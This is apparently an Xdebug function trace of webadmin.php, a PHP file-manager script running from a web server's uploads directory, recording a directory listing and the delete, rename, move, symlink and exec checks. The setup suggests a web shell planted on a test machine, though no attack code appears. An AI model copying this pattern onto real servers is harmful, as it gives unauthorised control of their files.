4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	204	0	0.011491	799616	column_title	1		/var/www/html/uploads/webadmin.php	1236	3	'filename'	'filename'	FALSE
5	205	0	0.011507	799616	urlencode	0		/var/www/html/uploads/webadmin.php	1416	1	'/var/www/html/uploads/'
5	205	1	0.011521	799712
5	205	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4		A						/var/www/html/uploads/webadmin.php	1416	$d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&amp;'
4		A						/var/www/html/uploads/webadmin.php	1418	$arr = ''
4		A						/var/www/html/uploads/webadmin.php	1421	$r = '&amp;reverse=true'
4		A						/var/www/html/uploads/webadmin.php	1422	$arr = ' &and;'
5	206	0	0.011590	799856	word	1		/var/www/html/uploads/webadmin.php	1429	1	'filename'
6	207	0	0.011604	799856	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'Filename'	2	'UTF-8'
6	207	1	0.011620	800128
6	207	R			'Filename'
5	206	1	0.011635	800016
5	206	R			'Filename'
4	204	1	0.011649	799616
4	208	0	0.011657	799616	column_title	1		/var/www/html/uploads/webadmin.php	1237	3	'size'	'filename'	FALSE
5	209	0	0.011672	799616	urlencode	0		/var/www/html/uploads/webadmin.php	1416	1	'/var/www/html/uploads/'
5	209	1	0.011685	799712
5	209	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4		A						/var/www/html/uploads/webadmin.php	1416	$d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&amp;'
4		A						/var/www/html/uploads/webadmin.php	1418	$arr = ''
4		A						/var/www/html/uploads/webadmin.php	1427	$r = ''
5	210	0	0.011734	799824	word	1		/var/www/html/uploads/webadmin.php	1429	1	'size'
6	211	0	0.011747	799824	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'Size'	2	'UTF-8'
6	211	1	0.011761	800096
6	211	R			'Size'
5	210	1	0.011775	799984
5	210	R			'Size'
4	208	1	0.011789	799616
4	212	0	0.011796	799616	column_title	1		/var/www/html/uploads/webadmin.php	1240	3	'permission'	'filename'	FALSE
5	213	0	0.011810	799616	urlencode	0		/var/www/html/uploads/webadmin.php	1416	1	'/var/www/html/uploads/'
5	213	1	0.011824	799712
5	213	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4		A						/var/www/html/uploads/webadmin.php	1416	$d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&amp;'
4		A						/var/www/html/uploads/webadmin.php	1418	$arr = ''
4		A						/var/www/html/uploads/webadmin.php	1427	$r = ''
5	214	0	0.011871	799856	word	1		/var/www/html/uploads/webadmin.php	1429	1	'permission'
6	215	0	0.011884	799856	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'Permission'	2	'UTF-8'
6	215	1	0.011899	800128
6	215	R			'Permission'
5	214	1	0.011913	800016
5	214	R			'Permission'
4	212	1	0.011935	799728
4	216	0	0.011943	799728	column_title	1		/var/www/html/uploads/webadmin.php	1241	3	'owner'	'filename'	FALSE
5	217	0	0.011958	799728	urlencode	0		/var/www/html/uploads/webadmin.php	1416	1	'/var/www/html/uploads/'
5	217	1	0.011971	799824
5	217	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4		A						/var/www/html/uploads/webadmin.php	1416	$d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&amp;'
4		A						/var/www/html/uploads/webadmin.php	1418	$arr = ''
4		A						/var/www/html/uploads/webadmin.php	1427	$r = ''
5	218	0	0.012018	799936	word	1		/var/www/html/uploads/webadmin.php	1429	1	'owner'
6	219	0	0.012031	799936	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'Owner'	2	'UTF-8'
6	219	1	0.012046	800208
6	219	R			'Owner'
5	218	1	0.012060	800096
5	218	R			'Owner'
4	216	1	0.012074	799728
4	220	0	0.012081	799728	column_title	1		/var/www/html/uploads/webadmin.php	1242	3	'group'	'filename'	FALSE
5	221	0	0.012096	799728	urlencode	0		/var/www/html/uploads/webadmin.php	1416	1	'/var/www/html/uploads/'
5	221	1	0.012109	799824
5	221	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4		A						/var/www/html/uploads/webadmin.php	1416	$d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&amp;'
4		A						/var/www/html/uploads/webadmin.php	1418	$arr = ''
4		A						/var/www/html/uploads/webadmin.php	1427	$r = ''
5	222	0	0.012156	799936	word	1		/var/www/html/uploads/webadmin.php	1429	1	'group'
6	223	0	0.012168	799936	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'Group'	2	'UTF-8'
6	223	1	0.012183	800208
6	223	R			'Group'
5	222	1	0.012196	800096
5	222	R			'Group'
4	220	1	0.012210	799728
4	224	0	0.012216	799728	word	1		/var/www/html/uploads/webadmin.php	1245	1	'functions'
5	225	0	0.012229	799728	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'Functions'	2	'UTF-8'
5	225	1	0.012244	800000
5	225	R			'Functions'
4	224	1	0.012258	799888
4	224	R			'Functions'
3		A						/var/www/html/uploads/webadmin.php	1249	$i = 0
4	226	0	0.012286	799728	sizeof	0		/var/www/html/uploads/webadmin.php	1249	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	226	1	0.012357	799760
4	226	R			6
3		A						/var/www/html/uploads/webadmin.php	1250	$file = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	227	0	0.012398	799728	date	0		/var/www/html/uploads/webadmin.php	1252	2	'n/j/y H:i:s'	1676255997
4	227	1	0.012473	802120
4	227	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1252	$timestamps = 'mtime: 2/12/23 21:39:57, '
4	228	0	0.012506	801848	date	0		/var/www/html/uploads/webadmin.php	1253	2	'n/j/y H:i:s'	1676255997
4	228	1	0.012537	802176
4	228	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1253	$timestamps .= 'atime: 2/12/23 21:39:57, '
4	229	0	0.012565	801872	date	0		/var/www/html/uploads/webadmin.php	1254	2	'n/j/y H:i:s'	1676255997
4	229	1	0.012595	802200
4	229	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1254	$timestamps .= 'ctime: 2/12/23 21:39:57'
4	230	0	0.012623	802096	html	1		/var/www/html/uploads/webadmin.php	1258	1	'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
5	231	0	0.012638	802096	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'	2	NULL
5	231	1	0.012656	802400
5	231	R			'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4	230	1	0.012672	802288
4	230	R			'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4	232	0	0.012689	801960	urlencode	0		/var/www/html/uploads/webadmin.php	1281	1	'/var/www/html/uploads/.'
4	232	1	0.012702	802056
4	232	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F.'
4	233	0	0.012719	802000	html	1		/var/www/html/uploads/webadmin.php	1281	1	'.'
5	234	0	0.012732	802000	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'.'	2	NULL
5	234	1	0.012746	802272
5	234	R			'.'
4	233	1	0.012759	802160
4	233	R			'.'
4	235	0	0.012773	801904	human_filesize	1		/var/www/html/uploads/webadmin.php	1304	1	4096
4		A						/var/www/html/uploads/webadmin.php	1153	$suffices = 'kMGTPE'
4		A						/var/www/html/uploads/webadmin.php	1155	$n = 0
4		A						/var/www/html/uploads/webadmin.php	1157	$filesize /= 1024
4		A						/var/www/html/uploads/webadmin.php	1158	$n++
5	236	0	0.012830	801904	strpos	0		/var/www/html/uploads/webadmin.php	1161	2	4	'.'
5	236	1	0.012844	801976
5	236	R			FALSE
5	237	0	0.012857	801904	round	0		/var/www/html/uploads/webadmin.php	1161	2	4	3
5	237	1	0.012870	801976
5	237	R			4
4		A						/var/www/html/uploads/webadmin.php	1161	$filesize = 4
5	238	0	0.012894	801904	strpos	0		/var/www/html/uploads/webadmin.php	1163	2	4	'.'
5	238	1	0.012907	802232
5	238	R			FALSE
5	239	0	0.012921	801904	substr	0		/var/www/html/uploads/webadmin.php	1169	3	'kMGTPE'	0	1
5	239	1	0.012935	802000
5	239	R			'k'
4		A						/var/www/html/uploads/webadmin.php	1169	$suffix = 'k'
4	235	1	0.012960	801936
4	235	R			'4 kB'
3		A						/var/www/html/uploads/webadmin.php	1304	$human = ' title="4 kB"'
4	240	0	0.012986	801944	decoct	0		/var/www/html/uploads/webadmin.php	1315	1	16895
4	240	1	0.012999	802016
4	240	R			'40777'
4	241	0	0.013013	801944	function_exists	0		/var/www/html/uploads/webadmin.php	1317	1	'posix_getuid'
4	241	1	0.013027	801984
4	241	R			TRUE
4	242	0	0.013040	801944	posix_getuid	0		/var/www/html/uploads/webadmin.php	1317	0
4	242	1	0.013053	801944
4	242	R			33
3		A						/var/www/html/uploads/webadmin.php	1317	$l = FALSE
4	243	0	0.013077	801944	permission_octal2string	1		/var/www/html/uploads/webadmin.php	1319	1	16895
4		A						/var/www/html/uploads/webadmin.php	970	$type = 'd'
4		A						/var/www/html/uploads/webadmin.php	979	$owner = 'r'
4		A						/var/www/html/uploads/webadmin.php	980	$owner .= 'w'
4		A						/var/www/html/uploads/webadmin.php	984	$owner .= 'x'
4		A						/var/www/html/uploads/webadmin.php	987	$group = 'r'
4		A						/var/www/html/uploads/webadmin.php	988	$group .= 'w'
4		A						/var/www/html/uploads/webadmin.php	992	$group .= 'x'
4		A						/var/www/html/uploads/webadmin.php	995	$other = 'r'
4		A						/var/www/html/uploads/webadmin.php	996	$other .= 'w'
4		A						/var/www/html/uploads/webadmin.php	1000	$other .= 'x'
4	243	1	0.013199	801984
4	243	R			'drwxrwxrwx'
4	244	0	0.013213	801984	html	1		/var/www/html/uploads/webadmin.php	1319	1	'drwxrwxrwx'
5	245	0	0.013227	801984	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'drwxrwxrwx'	2	NULL
5	245	1	0.013242	802256
5	245	R			'drwxrwxrwx'
4	244	1	0.013256	802144
4	244	R			'drwxrwxrwx'
4	246	0	0.013270	801944	array_key_exists	0		/var/www/html/uploads/webadmin.php	1324	2	'owner_name'	['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	246	1	0.013300	802008
4	246	R			TRUE
4	247	0	0.013314	801944	array_key_exists	0		/var/www/html/uploads/webadmin.php	1330	2	'group_name'	['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	247	1	0.013342	802008
4	247	R			TRUE
4	248	0	0.013356	802040	html	1		/var/www/html/uploads/webadmin.php	1339	1	'/var/www/html/uploads/.'
5	249	0	0.013368	802040	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'/var/www/html/uploads/.'	2	NULL
5	249	1	0.013383	802312
5	249	R			'/var/www/html/uploads/.'
4	248	1	0.013399	802200
4	248	R			'/var/www/html/uploads/.'
3		A						/var/www/html/uploads/webadmin.php	1342	$actions = []
4	250	0	0.013425	801944	function_exists	0		/var/www/html/uploads/webadmin.php	1343	1	'symlink'
4	250	1	0.013438	801984
4	250	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1344	$actions[] = 'create_symlink'
4	251	0	0.013464	802320	dirname	0		/var/www/html/uploads/webadmin.php	1346	1	'/var/www/html/uploads/.'
4	251	1	0.013478	802400
4	251	R			'/var/www/html/uploads'
4	252	0	0.013492	802368	is_writable	0		/var/www/html/uploads/webadmin.php	1346	1	'/var/www/html/uploads'
4	252	1	0.013514	802408
4	252	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1347	$actions[] = 'delete'
3		A						/var/www/html/uploads/webadmin.php	1348	$actions[] = 'rename'
3		A						/var/www/html/uploads/webadmin.php	1349	$actions[] = 'move'
4	253	0	0.013560	802320	function_exists	0		/var/www/html/uploads/webadmin.php	1356	1	'exec'
4	253	1	0.013574	802360
4	253	R			TRUE
4	254	0	0.013587	802320	sizeof	0		/var/www/html/uploads/webadmin.php	1360	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4	254	1	0.013603	802352
4	254	R			4
4	255	0	0.013617	802416	str_repeat	0		/var/www/html/uploads/webadmin.php	1363	2	'&nbsp;'	30
4	255	1	0.013631	802704
4	255	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	256	0	0.013648	802384	word	1		/var/www/html/uploads/webadmin.php	1367	1	'create_symlink'
5	257	0	0.013662	802384	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'create symlink'	2	'UTF-8'
5	257	1	0.013678	802656
5	257	R			'create symlink'
4	256	1	0.013693	802544
4	256	R			'create symlink'
4	258	0	0.013708	802376	word	1		/var/www/html/uploads/webadmin.php	1367	1	'delete'
5	259	0	0.013721	802376	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'delete'	2	'UTF-8'
5	259	1	0.013736	802648
5	259	R			'delete'
4	258	1	0.013749	802536
4	258	R			'delete'
4	260	0	0.013764	802376	word	1		/var/www/html/uploads/webadmin.php	1367	1	'rename'
5	261	0	0.013777	802376	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'rename'	2	'UTF-8'
5	261	1	0.013791	802648
5	261	R			'rename'
4	260	1	0.013805	802536
4	260	R			'rename'
4	262	0	0.013819	802368	word	1		/var/www/html/uploads/webadmin.php	1367	1	'move'
5	263	0	0.013836	802368	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'move'	2	'UTF-8'
5	263	1	0.013851	802640
5	263	R			'move'
4	262	1	0.013864	802528
4	262	R			'move'
3		A						/var/www/html/uploads/webadmin.php	1249	$i++
4	264	0	0.013889	802320	sizeof	0		/var/www/html/uploads/webadmin.php	1249	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	264	1	0.013960	802352
4	264	R			6
3		A						/var/www/html/uploads/webadmin.php	1250	$file = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	265	0	0.014002	802320	date	0		/var/www/html/uploads/webadmin.php	1252	2	'n/j/y H:i:s'	1676255997
4	265	1	0.014034	802648
4	265	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1252	$timestamps = 'mtime: 2/12/23 21:39:57, '
4	266	0	0.014061	802264	date	0		/var/www/html/uploads/webadmin.php	1253	2	'n/j/y H:i:s'	1676255997
4	266	1	0.014092	802592
4	266	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1253	$timestamps .= 'atime: 2/12/23 21:39:57, '
4	267	0	0.014119	802288	date	0		/var/www/html/uploads/webadmin.php	1254	2	'n/j/y H:i:s'	1676255997
4	267	1	0.014149	802616
4	267	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1254	$timestamps .= 'ctime: 2/12/23 21:39:57'
4	268	0	0.014177	802512	html	1		/var/www/html/uploads/webadmin.php	1258	1	'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
5	269	0	0.014191	802512	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'	2	NULL
5	269	1	0.014223	802816
5	269	R			'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4	268	1	0.014240	802704
4	268	R			'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4	270	0	0.014258	802376	urlencode	0		/var/www/html/uploads/webadmin.php	1281	1	'/var/www/html/uploads/..'
4	270	1	0.014271	802472
4	270	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F..'
4	271	0	0.014288	802416	html	1		/var/www/html/uploads/webadmin.php	1281	1	'..'
5	272	0	0.014300	802416	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'..'	2	NULL
5	272	1	0.014315	802688
5	272	R			'..'
4	271	1	0.014328	802576
4	271	R			'..'
4	273	0	0.014342	802320	human_filesize	1		/var/www/html/uploads/webadmin.php	1304	1	4096
4		A						/var/www/html/uploads/webadmin.php	1153	$suffices = 'kMGTPE'
4		A						/var/www/html/uploads/webadmin.php	1155	$n = 0
4		A						/var/www/html/uploads/webadmin.php	1157	$filesize /= 1024
4		A						/var/www/html/uploads/webadmin.php	1158	$n++
5	274	0	0.014398	802320	strpos	0		/var/www/html/uploads/webadmin.php	1161	2	4	'.'
5	274	1	0.014411	802392
5	274	R			FALSE
5	275	0	0.014424	802320	round	0		/var/www/html/uploads/webadmin.php	1161	2	4	3
5	275	1	0.014436	802392
5	275	R			4
4		A						/var/www/html/uploads/webadmin.php	1161	$filesize = 4
5	276	0	0.014460	802320	strpos	0		/var/www/html/uploads/webadmin.php	1163	2	4	'.'
5	276	1	0.014474	802648
5	276	R			FALSE
5	277	0	0.014487	802320	substr	0		/var/www/html/uploads/webadmin.php	1169	3	'kMGTPE'	0	1
5	277	1	0.014500	802416
5	277	R			'k'
4		A						/var/www/html/uploads/webadmin.php	1169	$suffix = 'k'
4	273	1	0.014525	802352
4	273	R			'4 kB'
3		A						/var/www/html/uploads/webadmin.php	1304	$human = ' title="4 kB"'
4	278	0	0.014551	802320	decoct	0		/var/www/html/uploads/webadmin.php	1315	1	16895
4	278	1	0.014564	802392
4	278	R			'40777'
4	279	0	0.014578	802320	function_exists	0		/var/www/html/uploads/webadmin.php	1317	1	'posix_getuid'
4	279	1	0.014592	802360
4	279	R			TRUE
4	280	0	0.014605	802320	posix_getuid	0		/var/www/html/uploads/webadmin.php	1317	0
4	280	1	0.014618	802320
4	280	R			33
3		A						/var/www/html/uploads/webadmin.php	1317	$l = FALSE
4	281	0	0.014685	802320	permission_octal2string	1		/var/www/html/uploads/webadmin.php	1319	1	16895
4		A						/var/www/html/uploads/webadmin.php	970	$type = 'd'
4		A						/var/www/html/uploads/webadmin.php	979	$owner = 'r'
4		A						/var/www/html/uploads/webadmin.php	980	$owner .= 'w'
4		A						/var/www/html/uploads/webadmin.php	984	$owner .= 'x'
4		A						/var/www/html/uploads/webadmin.php	987	$group = 'r'
4		A						/var/www/html/uploads/webadmin.php	988	$group .= 'w'
4		A						/var/www/html/uploads/webadmin.php	992	$group .= 'x'
4		A						/var/www/html/uploads/webadmin.php	995	$other = 'r'
4		A						/var/www/html/uploads/webadmin.php	996	$other .= 'w'
4		A						/var/www/html/uploads/webadmin.php	1000	$other .= 'x'
4	281	1	0.014812	802360
4	281	R			'drwxrwxrwx'
4	282	0	0.014827	802360	html	1		/var/www/html/uploads/webadmin.php	1319	1	'drwxrwxrwx'
5	283	0	0.014841	802360	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'drwxrwxrwx'	2	NULL
5	283	1	0.014864	802632
5	283	R			'drwxrwxrwx'
4	282	1	0.014883	802520
4	282	R			'drwxrwxrwx'
4	284	0	0.014897	802320	array_key_exists	0		/var/www/html/uploads/webadmin.php	1324	2	'owner_name'	['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	284	1	0.014928	802384
4	284	R			TRUE
4	285	0	0.014942	802320	array_key_exists	0		/var/www/html/uploads/webadmin.php	1330	2	'group_name'	['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	285	1	0.014970	802384
4	285	R			TRUE
4	286	0	0.014985	802416	html	1		/var/www/html/uploads/webadmin.php	1339	1	'/var/www/html/uploads/..'
5	287	0	0.014998	802416	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'/var/www/html/uploads/..'	2	NULL
5	287	1	0.015013	802688
5	287	R			'/var/www/html/uploads/..'
4	286	1	0.015028	802576
4	286	R			'/var/www/html/uploads/..'
3		A						/var/www/html/uploads/webadmin.php	1342	$actions = []
4	288	0	0.015055	801944	function_exists	0		/var/www/html/uploads/webadmin.php	1343	1	'symlink'
4	288	1	0.015069	801984
4	288	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1344	$actions[] = 'create_symlink'
4	289	0	0.015094	802320	dirname	0		/var/www/html/uploads/webadmin.php	1346	1	'/var/www/html/uploads/..'
4	289	1	0.015107	802408
4	289	R			'/var/www/html/uploads'
4	290	0	0.015122	802376	is_writable	0		/var/www/html/uploads/webadmin.php	1346	1	'/var/www/html/uploads'
4	290	1	0.015143	802416
4	290	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1347	$actions[] = 'delete'
3		A						/var/www/html/uploads/webadmin.php	1348	$actions[] = 'rename'
3		A						/var/www/html/uploads/webadmin.php	1349	$actions[] = 'move'
4	291	0	0.015188	802320	function_exists	0		/var/www/html/uploads/webadmin.php	1356	1	'exec'
4	291	1	0.015201	802360
4	291	R			TRUE
